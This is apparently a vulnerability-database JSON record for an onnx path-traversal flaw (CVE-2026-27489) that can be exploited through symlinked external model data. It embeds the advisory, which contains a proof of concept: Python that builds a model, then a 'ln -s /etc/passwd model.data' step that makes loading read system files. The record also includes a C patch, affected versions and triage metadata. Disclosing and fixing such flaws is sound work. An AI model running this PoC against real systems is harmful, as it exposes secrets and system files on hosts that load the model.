{"id":"CVE-2026-27489","kind":"vulnerability","aliases":["CVE-2026-27489","GHSA-3r9x-f23j-gc73"],"related":[],"title":"onnx Vulnerable to Path Traversal via Symlink","description":"### Summary\nA path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. \n\n### Details\nThe following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system:\nhttps://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033\n\n`std::filesystem::is_regular_file` performs a `status(p)` call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file. \n\n\n### PoC\n\n\n\n```python\n# Create a demo model with external data\nimport os\nimport numpy as np\nimport onnx\nfrom onnx import helper, TensorProto, numpy_helper\n\ndef create_onnx_model(output_path=\"model.onnx\"):\n    weight_matrix = np.random.randn(1000, 1000).astype(np.float32)\n\n    X = helper.make_tensor_value_info(\"X\", TensorProto.FLOAT, [1, 1000])\n    Y = helper.make_tensor_value_info(\"Y\", TensorProto.FLOAT, [1, 1000])\n    W = numpy_helper.from_array(weight_matrix, name=\"W\")\n\n    matmul_node = helper.make_node(\"MatMul\", inputs=[\"X\", \"W\"], outputs=[\"Y\"], name=\"matmul\")\n\n    graph = helper.make_graph(\n        nodes=[matmul_node],\n        name=\"SimpleModel\",\n        inputs=[X],\n        outputs=[Y],\n        initializer=[W]\n    )\n\n    model = helper.make_model(graph, opset_imports=[helper.make_opsetid(\"\", 11)])\n    onnx.checker.check_model(model)\n\n    data_file = output_path.replace('.onnx', '.data')\n\n    if os.path.exists(output_path):\n        os.remove(output_path)\n    if os.path.exists(data_file):\n        os.remove(data_file)\n\n    onnx.save_model(\n        model,\n        output_path,\n        save_as_external_data=True,\n        all_tensors_to_one_file=True,\n        location=os.path.basename(data_file),\n        size_threshold=1024 * 1024\n    )\n\nif __name__ == \"__main__\":\n    create_onnx_model(\"model.onnx\")\n```\n\n1. Run the above code to generate a sample model with external data.\n2. Remove `model.data`\n3. Run `ln -s /etc/passwd model.data`\n4. Load the model using the following code\n5. Observe check for symlink is bypassed and model is succesfuly loaded\n\n```python\nimport onnx\nfrom onnx.external_data_helper import load_external_data_for_model\n\ndef load_onnx_model_basic(model_path=\"model.onnx\"):\n    model = onnx.load(model_path)\n    return model\n\ndef load_onnx_model_explicit(model_path=\"model.onnx\"):\n    model = onnx.load(model_path, load_external_data=False)\n    load_external_data_for_model(model, \".\")\n    return model\n\nif __name__ == \"__main__\":\n    model = load_onnx_model_basic(\"model.onnx\")\n\n```\n\nA common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing `poc.onnx` and `poc.data (symlink)`. Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.\n\n\n### Impact\n\nRead sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.\n\nNOTE: this issue is not limited to UNIX.\n\n### Sample patch\n\n```c\n#include <fcntl.h>\n#include <sys/stat.h>\n#include <unistd.h>\n#include <errno.h>\n\nint open_external_file_no_symlink(const char *base_dir,\n                                  const char *relative_path) {\n    int dirfd = -1;\n    int fd = -1;\n    struct stat st;\n\n    // Open base directory\n    dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);\n    if (dirfd < 0) {\n        return -1;\n    }\n\n    // Open the target relative to base_dir\n    // O_NOFOLLOW => fail if final path component is a symlink\n    fd = openat(dirfd,\n                relative_path,\n                O_RDONLY | O_NOFOLLOW);\n    close(dirfd);\n\n    if (fd < 0) {\n        // ELOOP is the typical error if a symlink is encountered\n        return -1;\n    }\n\n    // Inspect the *opened file*\n    if (fstat(fd, &st) != 0) {\n        close(fd);\n        return -1;\n    }\n\n    // Enforce \"regular file only\"\n    if (!S_ISREG(st.st_mode)) {\n        close(fd);\n        errno = EINVAL;\n        return -1;\n    }\n\n    // fd is now:\n    // - not a symlink\n    // - not a directory\n    // - not a device / FIFO / socket\n    // - race-safe\n    return fd;\n}\n```\n\n### Resources\n\n* https://cwe.mitre.org/data/definitions/61.html\n* https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172\n* https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368","summary":"ONNX's check for symlinks in external model data is ineffective, so a model that points its external data at a symlink can load any file the process can read. An attacker who ships a crafted model archive can read files such as /etc/passwd or /proc/1/environ on the machine that loads it.","severity":"high","cvss":8.7,"epss":0.00616,"exploited":false,"exploited_at":null,"products":[{"name":"onnx","fixed":["1.21.0"],"affected":"<= 1.20.0","ecosystem":"pypi"},{"name":"linuxfoundation onnx","fixed":["1.21.0"],"affected":"< 1.21.0","ecosystem":"vendor"}],"ecosystems":["pypi","vendor"],"tags":["cwe-22","cwe-23","cwe-61","ml-pipelines","onnx","package","python"],"not_affected_if":["no-external-data","trusted-models-only"],"how_to_check":"- Run `python -c \"import onnx; print(onnx.__version__)\"` and confirm the version is `1.20.0` or lower.\n- Search model-loading code for `onnx.load` calls that handle untrusted or user-supplied .onnx files with external data.","fix":"- `onnx` `1.21.0`","status":"open","published_at":"2026-03-31T22:34:25+00:00","first_seen_at":"2026-11-04T03:16:02+00:00","triaged_at":"2026-11-04T03:16:16+00:00","updated_at":"2026-11-04T03:46:40+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-04T03:16:16Z","model":"claude-haiku-5-5","output":{"fix":"- `onnx` `1.21.0`","reach":"local","title":"ONNX: symlinked external data file lets a model read arbitrary host files","impact":"high","summary":"ONNX's check for symlinks in external model data is ineffective, so a model that points its external data at a symlink can load any file the process can read. An attacker who ships a crafted model archive can read files such as /etc/passwd or /proc/1/environ on the machine that loads it.","audience":"developers","category":"package","nicknames":[],"who_cares":["python","onnx","ml-pipelines"],"confidence":0.8,"fix_status":"available","needs_auth":"no","worst_case":"Arbitrary host files readable by the loading process, including secrets.","analyst_note":"","how_to_check":"- Run `python -c \"import onnx; print(onnx.__version__)\"` and confirm the version is `1.20.0` or lower.\n- Search model-loading code for `onnx.load` calls that handle untrusted or user-supplied .onnx files with external data.","plain_action":"","needs_analyst":false,"not_affected_if":["trusted-models-only","no-external-data"],"who_is_affected":"Any application that loads ONNX models from untrusted sources, such as user uploads or model archives, where the model uses external data files. Systems that only load models they built or fully control are much less exposed. Environments that never call onnx.load on external input can skip it.","user_interaction":"yes","needs_special_setup":"yes","severity_if_unknown":"high"},"cost_usd":0.000848,"input_tokens":5908,"output_tokens":515,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-1':510C,513C,532C,575C,588C '-2026':9A,17A '-22':23B '-23':25B '-27489':10A,18A '-61':27B '/etc/passwd':77B,340C '/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#l1024-l1033':130C '/proc/1/environ':79B,470C '0':530C,563C,584C '1':214C,223C,320C '1000':203C,204C,215C,224C '1024':311C,312C '11':266C '2':333C '3':336C '3r9x':13A '4':342C '5':350C 'adversari':432C,456C 'allow':92C 'arbitrari':95C,122C,458C,464C 'archiv':71B 'array':227C 'astyp':205C 'attack':65B 'base':502C,518C,522C,538C 'basic':379C,420C 'bypass':356C 'c':488C 'call':140C 'case':425C 'char':501C,505C 'check':36B,107C,352C 'close':559C,585C,598C 'code':324C,349C 'common':423C 'compon':546C 'compress':438C 'const':500C,504C 'contain':440C 'craft':69B 'creat':171C,194C,316C 'cve':8A,16A 'cwe':22B,24B,26B 'data':42B,52B,177C,270C,274C,284C,287C,297C,307C,332C,367C,372C,403C,407C 'def':193C,375C,389C 'demo':173C 'detail':104C 'determin':150C 'dir':503C,523C,539C 'directori':103C,519C,527C 'dirfd':509C,520C,529C,552C,560C 'e.g':469C 'eloop':564C 'encount':573C 'enforc':589C 'environ':467C 'errno':600C 'error':568C 'explicit':393C 'exploit':428C 'extern':40B,51B,176C,296C,331C,371C,402C,406C,496C 'f23j':14A 'fail':542C 'fals':404C 'fd':512C,550C,562C,582C,586C,599C 'file':59B,74B,96C,126C,135C,152C,168C,271C,285C,288C,303C,308C,439C,459C,465C,497C,579C,591C 'filesystem':132C 'final':544C 'follow':106C,146C,348C 'fstat':581C 'gc73':15A 'generat':326C 'ghsa':12A 'ghsa-3r9x-f23j-gc73':11A 'github.com':129C 'github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#l1024-l1033':128C 'graph':244C,246C,261C 'helper':189C,192C,368C 'helper.make':208C,217C,234C,245C,259C,264C 'host':473C 'impact':460C 'import':178C,180C,184C,188C,263C,363C,369C 'includ':489C,490C,492C,493C 'ineffect':44B,111C 'info':211C,220C 'initi':256C 'input':237C,252C 'inspect':576C 'int':494C,508C,511C 'isreg':595C 'issu':480C 'limit':483C 'link':148C 'linuxfoundation':20A 'ln':338C 'load':57B,84B,343C,361C,370C,376C,390C,401C,405C,417C,450C,475C 'locat':123C,305C 'machin':82B 'main':315C,415C 'matmul':232C,236C,243C,248C 'matrix':201C,229C 'mean':154C 'misus':424C 'ml':29B 'ml-pipelin':28B 'mode':597C 'model':41B,47B,70B,98C,174C,196C,258C,260C,268C,269C,290C,291C,318C,329C,345C,358C,374C,378C,380C,383C,385C,388C,392C,394C,397C,399C,409C,410C,412C,416C,419C,452C,477C 'model.data':335C,341C 'model.onnx':199C,319C,382C,396C,421C 'name':230C,242C,250C,314C,414C 'node':233C,235C,247C,249C 'nofollow':541C,558C 'note':478C 'np':183C 'np.float32':206C 'np.random.randn':202C 'numpi':181C,191C 'numpy_helper.from':226C 'o':524C,526C,540C,555C,557C 'observ':351C 'one':302C 'onnx':1A,19A,21A,31B,34B,185C,187C,195C,273C,317C,364C,377C,391C,418C 'onnx.checker.check':267C 'onnx.external':366C 'onnx.load':384C,398C 'onnx.save':289C 'open':495C,517C,521C,533C,578C 'openat':551C 'opset':262C 'opsetid':265C 'os':179C 'os.path.basename':306C 'os.path.exists':276C,283C 'os.remove':279C,286C 'output':197C,240C,254C,277C,280C,292C 'output_path.replace':272C 'outsid':97C 'p':139C 'packag':32B 'patch':487C 'path':4A,87C,144C,198C,278C,281C,293C,381C,386C,395C,400C,507C,545C,554C 'perform':136C 'pipelin':30B 'poc':169C 'poc.data':443C 'poc.onnx':441C 'point':49B,117C 'possibl':115C 'process':61B 'provid':102C,143C,434C 'python':33B,170C,362C 'rdon':525C,556C 'read':63B,73B,94C,454C,461C 'regular':134C,167C,590C 'relat':506C,536C,553C 'remov':334C 'return':157C,387C,411C,531C,574C,587C 'run':321C,337C 'sampl':328C,486C 'save':294C 'select':457C 'sensit':462C 'ship':67B 'simplemodel':251C 'size':309C 'st':516C,583C 'st.st':596C 'stat':515C 'status':138C 'std':131C 'struct':514C 'succesfuli':360C 'success':427C 'summari':85C 'symbol':147C 'symlink':7A,38B,55B,91C,109C,119C,164C,354C,444C,453C,499C,549C,571C 'sys/stat.h':491C 'system':127C 'target':161C,535C 'tensor':209C,218C,300C 'tensorproto':190C 'tensorproto.float':213C,222C 'threshold':310C 'travers':5A,88C 'true':158C,298C,304C 'type':153C 'typic':567C 'uncompress':448C 'unix':485C 'use':346C 'user':101C 'user-provid':100C 'valu':210C,219C 'variabl':468C 'via':6A,90C 'victim':435C,447C 'vulner':2A,89C 'w':225C,231C,239C,257C 'weight':200C,228C 'x':207C,212C,238C,253C 'y':216C,221C,241C,255C","nicknames":[],"mitigations":[],"who_affected":"Any application that loads ONNX models from untrusted sources, such as user uploads or model archives, where the model uses external data files. Systems that only load models they built or fully control are much less exposed. Environments that never call onnx.load on external input can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["linuxfoundationonnx","onnx"],"ptokens":["linuxfoundation","onnx"],"labels":["cwe22","cwe23","cwe61","high","mlpipelines","onnx","package","pypi","python","vendor"],"campaign_type":null,"first_public_at":"2026-03-31T15:56:11+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-3r9x-f23j-gc73","url":"https://github.com/advisories/GHSA-3r9x-f23j-gc73","severity":"high","published_at":"2026-03-31T22:34:25+00:00","modified_at":"2026-11-04T03:15:28+00:00","first_seen_at":"2026-11-04T03:16:02+00:00","fetched_at":"2026-11-04T03:21:06+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-27489","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27489","severity":null,"published_at":"2026-04-01T18:16:28+00:00","modified_at":"2026-07-15T02:19:07+00:00","first_seen_at":"2026-11-04T03:46:40+00:00","fetched_at":"2026-11-04T03:46:40+00:00","note":null}],"documents":[{"id":63409,"url":"https://api.github.com/repos/onnx/onnx/security-advisories/GHSA-3r9x-f23j-gc73","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":63410,"url":"https://github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-03-31T15:56:11+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":63411,"url":"https://github.com/onnx/onnx/commit/4755f8053928dce18a61db8fec71b69c74f786cb","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}